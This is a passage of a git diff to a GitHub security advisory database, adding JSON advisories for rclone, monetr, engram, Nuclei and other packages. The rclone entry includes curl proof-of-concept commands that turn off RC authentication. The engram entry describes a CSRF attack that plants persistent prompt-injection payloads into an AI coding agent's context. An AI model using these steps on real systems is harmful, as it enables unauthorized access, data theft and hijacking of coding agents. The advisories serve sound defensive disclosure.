diff --git a/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json
index 5d6ec2fc96526..cc008164952cf 100644
--- a/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json
+++ b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6497-prx7-gpmq",
- "modified": "2026-02-01T18:09:10Z",
+ "modified": "2026-04-21T21:31:18Z",
"published": "2026-01-30T21:30:22Z",
"aliases": [
"CVE-2025-69662"
@@ -63,6 +63,10 @@
{
"type": "WEB",
"url": "https://github.com/geopandas/geopandas/releases/tag/v1.1.2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00025.html"
}
],
"database_specific": {
diff --git a/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json b/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json
index a079fd9c57ac1..ec4420a691987 100644
--- a/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json
+++ b/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-4hfh-fch3-5q7p",
- "modified": "2026-02-23T22:21:47Z",
+ "modified": "2026-04-22T16:24:14Z",
"published": "2026-02-19T19:40:08Z",
"aliases": [
"CVE-2026-27120"
@@ -18,7 +18,7 @@
{
"package": {
"ecosystem": "SwiftURL",
- "name": "leaf-kit"
+ "name": "github.com/vapor/leaf-kit"
},
"ranges": [
{
diff --git a/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json b/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json
new file mode 100644
index 0000000000000..3b6c07ba41e0f
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json
@@ -0,0 +1,77 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-246w-jgmq-88fg",
+ "modified": "2026-04-22T14:28:11Z",
+ "published": "2026-04-22T14:28:11Z",
+ "aliases": [
+ "CVE-2026-41070"
+ ],
+ "summary": "openvpn-auth-oauth2 returns FUNC_SUCCESS on client-deny, allowing unauthenticated VPN access",
+ "details": "# Summary\n\nWhen `openvpn-auth-oauth2` is deployed in the **experimental plugin mode** (shared library loaded by OpenVPN via the `plugin` directive), clients that do not support WebAuth/SSO (e.g., the `openvpn` CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. **The default management-interface mode is not affected** because it does not use the OpenVPN plugin return-code mechanism.\n\n# Impact\n\n**Authentication bypass — any VPN client that does not advertise WebAuth/SSO support (`IV_SSO=webauth`) is granted full network access without completing OIDC authentication.**\n\nThis affects only deployments running the **experimental plugin mode** in versions 1.26.3 through 1.27.2. The default and recommended deployment via the management interface is **not affected**.\n\nAn unauthenticated attacker can connect to the OpenVPN server using any standard OpenVPN client that does not support webauth (e.g., the Linux `openvpn` CLI). The plugin correctly issues a `client-deny` command via the management interface, but returns `OPENVPN_PLUGIN_FUNC_SUCCESS` (status=0) to OpenVPN. Because the `auth_control_file` content is only consulted when the plugin returns `FUNC_DEFERRED`, OpenVPN interprets status=0 as \"authentication passed\" and admits the client — granting full access to the internal network behind the VPN.\n\n\n## Root Cause\n\nIn `lib/openvpn-auth-oauth2/openvpn/handle.go`, the `ClientAuthDeny` branch of `handleAuthUserPassVerify` wrote `\"0\"` (deny) to the `auth_control_file` but returned `OPENVPN_PLUGIN_FUNC_SUCCESS`. OpenVPN only reads the `auth_control_file` when the plugin returns `FUNC_DEFERRED`; a synchronous `FUNC_SUCCESS` return is treated as immediate approval regardless of file contents.\n\n**Before fix:**\n```go\ncase management.ClientAuthDeny:\n // ... writes \"0\" to auth_control_file ...\n if err := openVPNClient.WriteToAuthFile(\"0\"); err != nil {\n // only returned ERROR on write failure\n return c.OpenVPNPluginFuncError\n }\n return c.OpenVPNPluginFuncSuccess // ← BUG: OpenVPN sees this as \"auth passed\"\n```\n\n**After fix (commit [`36f69a6`](https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2)):**\n```go\ncase management.ClientAuthDeny:\n // ... writes \"0\" to auth_control_file ...\n if err := openVPNClient.WriteToAuthFile(\"0\"); err != nil {\n logger.ErrorContext(p.ctx, \"write to auth file\", slog.Any(\"err\", err))\n }\n return c.OpenVPNPluginFuncError // ← FIX: OpenVPN now correctly rejects the client\n```\n\n# Patches\n\nThis vulnerability is fixed in **v1.27.3**. Users of the experimental plugin mode should upgrade immediately.\n\n- **Fix commit:** [`36f69a6`](https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2)\n- **Fix PR:** [#829](https://github.com/jkroepke/openvpn-auth-oauth2/pull/829)\n\n# Workarounds\n\n- **Switch to standalone management client mode** (the default, non-plugin deployment). This mode is not affected by the vulnerability because authentication decisions are communicated entirely through the management interface protocol, not through the plugin return code.\n- **Restrict VPN access at the network level** to only clients known to support WebAuth/SSO (e.g., OpenVPN Connect 3+), although this is difficult to enforce reliably and is not recommended as a sole mitigation.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/jkroepke/openvpn-auth-oauth2"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.26.3"
+ },
+ {
+ "fixed": "1.27.3"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/jkroepke/openvpn-auth-oauth2/security/advisories/GHSA-246w-jgmq-88fg"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/jkroepke/openvpn-auth-oauth2/pull/829"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/OpenVPN/openvpn/blob/master/include/openvpn-plugin.h.in"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/OpenVPN/openvpn3/blob/master/doc/webauth.md"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/jkroepke/openvpn-auth-oauth2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/jkroepke/openvpn-auth-oauth2/releases/tag/v1.27.3"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-287"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T14:28:11Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json b/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json
new file mode 100644
index 0000000000000..e0be1ebf2a07c
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json
@@ -0,0 +1,57 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-25qr-6mpr-f7qx",
+ "modified": "2026-04-22T14:44:13Z",
+ "published": "2026-04-22T14:44:13Z",
+ "aliases": [
+ "CVE-2026-41176"
+ ],
+ "summary": "Rclone: Unauthenticated options/set allows runtime auth bypass, leading to sensitive operations and command execution",
+ "details": "### Summary\nThe RC endpoint `options/set` is exposed without `AuthRequired: true`, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set `rc.NoAuth=true`, which disables the authorization gate for many RC methods registered with `AuthRequired: true` on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n### Details\nThe root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.\n\nThe issue is caused by two properties of the RC implementation:\n\n1. `options/set` is exposed without `AuthRequired: true`\n2. the RC server enforces authorization for `AuthRequired` calls using the mutable runtime value `s.opt.NoAuth`\n\nRelevant code paths:\n\n- [`fs/rc/config.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go)\n - registers `options/set` without `AuthRequired: true`\n - `rcOptionsSet` reshapes attacker-controlled input into global option blocks\n\n- [`fs/rc/rcserver/rcserver.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go)\n - request handling checks:\n - `if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()`\n - once `rc.NoAuth` is changed to `true`, later `AuthRequired` methods become callable without credentials\n\nThis creates a runtime auth-bypass primitive on the RC interface.\n\nAfter setting `rc.NoAuth=true`, previously protected administrative methods become callable, including configuration and operational endpoints such as:\n\n- `config/listremotes`\n- `config/dump`\n- `config/get`\n- `operations/list`\n- `operations/copyfile`\n- `core/command`\n\nRelevant code for the second-stage command execution path:\n\n- [`fs/metadata.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/metadata.go)\n - `metadataMapper()` uses `exec.Command(...)`\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n - `operations/copyfile` is normally `AuthRequired: true`\n - once `rc.NoAuth=true`, it becomes reachable without credentials\n\nThis was validating using the following:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThe issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal reproduction\nStart a vulnerable server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nFirst confirm that a protected RC method is initially blocked:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H 'Content-Type: application/json' \\\n --data '{}'\n```\n\nExpected result: HTTP 403.\n\nUse unauthenticated `options/set` to disable the auth gate:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/options/set \\\n -H 'Content-Type: application/json' \\\n --data '{\"rc\":{\"NoAuth\":true}}'\n```\n\nExpected result: HTTP 200 `{}`\n\nThen call the same protected method again without credentials:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H 'Content-Type: application/json' \\\n --data '{}'\n```\n\nExpected result: HTTP 200 with a JSON response such as:\n\n```json\n{\"remotes\":[]}\n```\n\n#### Testing performed\nThis was successfully reproduced:\n- on the tester's ocal test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nUsing the public host, the following was confirmed:\n\n- unauthenticated `options/set` successfully set `rc.NoAuth=true`\n- previously protected RC methods became callable without credentials\n- the issue was reproducible through direct host execution\n\n### Impact\nThis is an authorization bypass on the RC administrative interface.\n\nIt can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.\n\nDepending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/rclone/rclone"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.45.0"
+ },
+ {
+ "fixed": "1.73.5"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/rclone/rclone"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-306"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T14:44:13Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json b/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json
new file mode 100644
index 0000000000000..b6f56c427372c
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json
@@ -0,0 +1,65 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-264v-m8fm-76jm",
+ "modified": "2026-04-22T19:20:50Z",
+ "published": "2026-04-22T19:20:50Z",
+ "aliases": [
+ "CVE-2026-34067"
+ ],
+ "summary": "nimiq-transaction: Panic via `HistoryTreeProof` length mismatch",
+ "details": "### Impact\n`HistoryTreeProof::verify` panics on a malformed proof where `history.len() != positions.len()` due to `assert_eq!(history.len(), positions.len())`. \n\nThe proof object is derived from untrusted p2p responses (`ResponseTransactionsProof.proof`) and is therefore attacker-controlled at the network boundary until validated. A malicious peer could trigger a crash by returning a crafted inclusion proof with a length mismatch.\n\n### Patches\n[The patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/commit/6ff0800e8e031363e787c827d8d033e5694e4e6a) is included as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds know.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "crates.io",
+ "name": "nimiq-transaction"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "0.2.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-264v-m8fm-76jm"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nimiq/core-rs-albatross/pull/3659"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/nimiq/core-rs-albatross/commit/6ff0800e8e031363e787c827d8d033e5694e4e6a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nimiq/core-rs-albatross"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-617"
+ ],
+ "severity": "LOW",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T19:20:50Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json b/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json
new file mode 100644
index 0000000000000..9101881d4d810
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json
@@ -0,0 +1,61 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-29rg-wmcw-hpf4",
+ "modified": "2026-04-22T19:58:47Z",
+ "published": "2026-04-22T19:58:47Z",
+ "aliases": [
+ "CVE-2026-41646"
+ ],
+ "summary": "Nuclei: Local File Read via require() Module Loader Bypass",
+ "details": "A vulnerability in Nuclei's JavaScript protocol runtime allows JavaScript templates to read local `.js` and `.json` files through the `require()` function, bypassing the default local file access restriction.\n\n**Affected Component**\n\nThe issue is in the JavaScript runtime's module loading system. The goja `require()` function used a default host filesystem loader without routing through the `allow-local-file-access` check.\n\n**Description**\n\nThe goja require() function in Nuclei's JavaScript protocol runtime used the default host filesystem loader, which allowed JavaScript templates to import .js and .json files from anywhere on the host filesystem, ignoring the allow-local-file-access (-lfa) option that controls file access outside the template directory.\n\nThe impact is limited to `.js` and `.json` files, as goja's module loader only resolves those extensions. That said, this is still enough to expose sensitive data stored in JSON configuration files like `package.json`, credential stores, or cloud configuration files sitting on the host filesystem.\n\n**Affected Users**\n\n- **CLI users** running untrusted or third-party JavaScript templates.\n- **SDK users** who have integrated Nuclei into platforms where end-users can supply JavaScript templates, especially when relying on the default file access restriction to limit filesystem reads.\n\n> [!NOTE]\nThe `require()` module loader only resolves `.js` and `.json` files. Other file types cannot be read through this vector.\n\n**Patches**\n\n- The vulnerability is fixed in Nuclei v3.8.0. Upgrading is strongly recommended. \n- Fix reference: #7332\n\n**Mitigation**\n\nUpgrade to Nuclei v3.8.0, where the `require()` registry is rebuilt per execution and file-backed module loads are routed through the same `allow-local-file-access` check as the rest of the filesystem operations.\n\nIn the meantime, avoid running JavaScript templates from unverified sources.\n\n**Workarounds**\n\nIf upgrading is not an option, avoid running untrusted JavaScript templates entirely. There is no flag or configuration that mitigates this on affected versions.\n\n**Acknowledgments**\n\nNuceli thanks @AkashHamal0x01 for reporting this issue through responsible disclosure via security@projectdiscovery.io",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/projectdiscovery/nuclei/v3"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "3.0.0"
+ },
+ {
+ "fixed": "3.8.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-29rg-wmcw-hpf4"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/projectdiscovery/nuclei/pull/7332"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/projectdiscovery/nuclei"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T19:58:47Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json b/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json
new file mode 100644
index 0000000000000..d662777d5c6cc
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json
@@ -0,0 +1,71 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-29v9-frvh-c426",
+ "modified": "2026-04-22T19:57:54Z",
+ "published": "2026-04-22T19:57:54Z",
+ "aliases": [
+ "CVE-2026-41644"
+ ],
+ "summary": "monetr: Server-side request forgery in Lunch Flow link creation and refresh",
+ "details": "### Impact\n\nA server-side request forgery (SSRF) vulnerability in monetr's Lunch Flow integration allowed any authenticated user on\na self-hosted instance to cause the monetr server to issue HTTP GET requests to arbitrary URLs supplied by the caller,\nwith the response body from non-200 upstream responses reflected back in the API error message.\n\nThe URL validator on `POST /api/lunch_flow/link` only checked the URL scheme and rejected query parameters; it did not\nfilter loopback, RFC1918, link-local, or cloud-provider metadata addresses. The outbound HTTP client read the response\nbody via an unbounded `io.ReadAll`, and the controller intentionally surfaced the resulting error (which contained the\nupstream body) as the JSON `error` field of the API response.\n\n**Who is affected:** self-hosted monetr deployments running the default configuration. Out of the box,\n`LunchFlow.Enabled=true`, `AllowSignUp=true`, and billing is not enforced, so any user who can register on the instance\ncan reach the vulnerable endpoint. Deployments running in a cloud environment where instance metadata is reachable from\nthe pod (e.g. AWS EC2 without IMDSv2 enforced) expand the impact to include potential exposure of instance metadata\nthrough the reflected error body.\n\n**Who is NOT affected:** the hosted `my.monetr.app` service, which runs with `LunchFlow.Enabled=false`. Self-hosted\noperators who had already disabled public sign-up (`MONETR_ALLOW_SIGN_UP=false`) substantially reduce their exposure\nsince only operator-trusted users can reach the endpoint.\n\nA secondary denial-of-service vector also existed: because the outbound response body was read with no size cap, an\nattacker-influenced upstream could return a multi-GB body that monetr would fully buffer into memory.\n\n### Patches\n\nFixed in monetr `v1.12.5`. Users should upgrade to this release or later.\n\nThe fix introduces a new config field `LunchFlow.AllowedApiUrls` (a list of permitted Lunch Flow API URLs) with a\ndefault of `[\"https://lunchflow.app/api/v1\"]`. URLs outside the allowlist are rejected both at link-creation time and at\nclient-construction time, with a server-side warning log on rejection. Response body reads are capped at 10 MiB for both\nsuccess and error paths. The UI renders the API URL field as a disabled pre-filled input when a single URL is allowed,\nor a dropdown when multiple are allowed, so operators who need to use a staging or self-hosted Lunch Flow API opt in\nexplicitly via config.\n\n**Upgrade note for self-hosters with a custom Lunch Flow URL:** if your existing `LunchFlowLink` records point at a URL\nother than `https://lunchflow.app/api/v1`, set your `lunchFlow.allowedApiUrls` in your yaml config to include your\ncustom URL before upgrading. Otherwise existing links will fail on next refresh or sync with a `\"Rejected Lunch Flow API\nURL that is not in the configured allowlist\"` warning in the server log.\n\n### Workarounds\n\nFor operators who cannot upgrade immediately, any of the following materially reduces or eliminates exposure:\n\n- **Disable public sign-up:** set `MONETR_ALLOW_SIGN_UP=false` so only operator-trusted users can reach the vulnerable\nendpoint. Recommended in general for internet-exposed self-hosted deployments.\n- **Disable Lunch Flow entirely:** set `lunchFlow.enabled: false` in your config file. The endpoints will return 404 for\nall callers.\n- **Network-level egress restriction:** restrict outbound HTTP egress from the monetr pod/container to only\n`lunchflow.app` (or whichever legitimate Lunch Flow hosts you use). Blocks the SSRF primitive regardless of\napplication-layer validation.\n- **On AWS EC2 specifically:** enforce IMDSv2 on the instance. This eliminates the cloud-metadata exfil path even if the\nSSRF primitive remains reachable.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/monetr/monetr"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.12.5"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/monetr/monetr/security/advisories/GHSA-29v9-frvh-c426"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/monetr/monetr/pull/3122"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/monetr/monetr/commit/c260caa3c573a4a396ec2d264c7641a5d958385b"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/monetr/monetr"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/monetr/monetr/releases/tag/v1.12.5"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-209",
+ "CWE-770",
+ "CWE-918"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T19:57:54Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json b/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json
new file mode 100644
index 0000000000000..04c2a6ac02487
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json
@@ -0,0 +1,62 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2r2p-4cgf-hv7h",
+ "modified": "2026-04-22T14:52:03Z",
+ "published": "2026-04-22T14:52:03Z",
+ "aliases": [],
+ "summary": "engram: HTTP server CORS wildcard + auth-off-by-default enables CSRF graph exfiltration and persistent indirect prompt injection",
+ "details": "### Summary\n\nThe local HTTP server started by `engram server` (binding `127.0.0.1:7337` by default) was exposed to any browser origin with no authentication unless `ENGRAM_API_TOKEN` was explicitly set. Combined with `Access-Control-Allow-Origin: *` on every response and a body parser that did not require `Content-Type: application/json`, this allowed a malicious web page the developer visited to:\n\n1. **Exfiltrate** the local knowledge graph via `GET /query` and `GET /stats` (function names, file layout, recorded decisions/mistakes).\n2. **Inject persistent prompt-injection payloads** via `POST /learn`, which wrote `mistake`/`decision` nodes that were later surfaced as system-reminders to the user's AI coding agent on every future session and file edit.\n\nSeverity: **High** — confidentiality + persistent indirect prompt injection against the user's coding agent.\n\n### Affected versions\n\n`engramx` >= 1.0.0, < 2.0.2 — any version that shipped the HTTP server.\n\n### Patched in\n\n`engramx@2.0.2`\n\n### Workarounds (if you cannot upgrade)\n\n- Do **not** run `engram server` or `engram ui`.\n- If developers must, set `ENGRAM_API_TOKEN` to a long random value and terminate the server before browsing the web.\n\n### Remediation (applied in 2.0.2)\n\n1. Fail-closed auth on every non-public route — Bearer header or HttpOnly cookie, constant-time comparison, 256-bit auto-generated token at `~/.engram/http-server.token` (0600).\n2. Wildcard CORS removed entirely; default is no CORS headers. Opt-in allowlist via `ENGRAM_ALLOWED_ORIGINS`.\n3. Host + Origin validation — rejects DNS rebinding and Host spoofing.\n4. `Content-Type: application/json` enforced on mutations — blocks the text/plain CSRF vector.\n5. `/ui?token=` bootstrap with `Sec-Fetch-Site` gate — prevents cross-origin oracle probing.\n\n### Credit\n\nDiscovered and responsibly disclosed by @gabiudrescu in engram issue #7.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "engramx"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.0.2"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/NickCirv/engram/security/advisories/GHSA-2r2p-4cgf-hv7h"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/NickCirv/engram/issues/7"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/NickCirv/engram"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1188",
+ "CWE-306",
+ "CWE-352",
+ "CWE-942"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-04-22T14:52:03Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json b/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json
new file mode 100644
index 0000000000000..6f46e4d0f225a
--- /dev/null
+++ b/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json
@@ -0,0 +1,139 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2v35-w6hq-6mfw",
+ "modified": "2026-04-22T20:23:58Z",
+ "published": "2026-04-22T20:23:57Z",
+ "aliases": [
+ "CVE-2026-41673"
+ ],
+ "summary": "xmldom: Uncontrolled recursion in XML serialization leads to DoS",
+ "details": "## Summary\n\nSeven recursive traversals in `lib/dom.js` operate without a depth limit. A sufficiently deeply\nnested DOM tree causes a `RangeError: Maximum call stack size exceeded`, crashing the application.\n\n**Reported operations:**\n- `Node.prototype.normalize()` — reported by @praveen-kv (email 2026-04-05) and @KarimTantawey (GHSA-fwmp-8wwc-qhv6, via `DOMParser.parseFromString()`)\n- `XMLSerializer.serializeToString()` — reported by @Jvr2022 (GHSA-2v35-w6hq-6mfw) and @KarimTantawey (GHSA-j2hf-fqwf-rrjf)\n\n**Additionally, discovered in research:**\n- `Element.getElementsByTagName()` / `getElementsByTagNameNS()` / `getElementsByClassName()` / `getElementById()`\n- `Node.cloneNode(true)`\n- `Document.importNode(node, true)`\n- `node.textContent` (getter)\n- `Node.isEqualNode(other)`\n\nAll seven share the same root cause: pure-JavaScript recursive tree traversal with no depth guard.\nA single deeply nested document (parsed successfully) triggers any or all of these 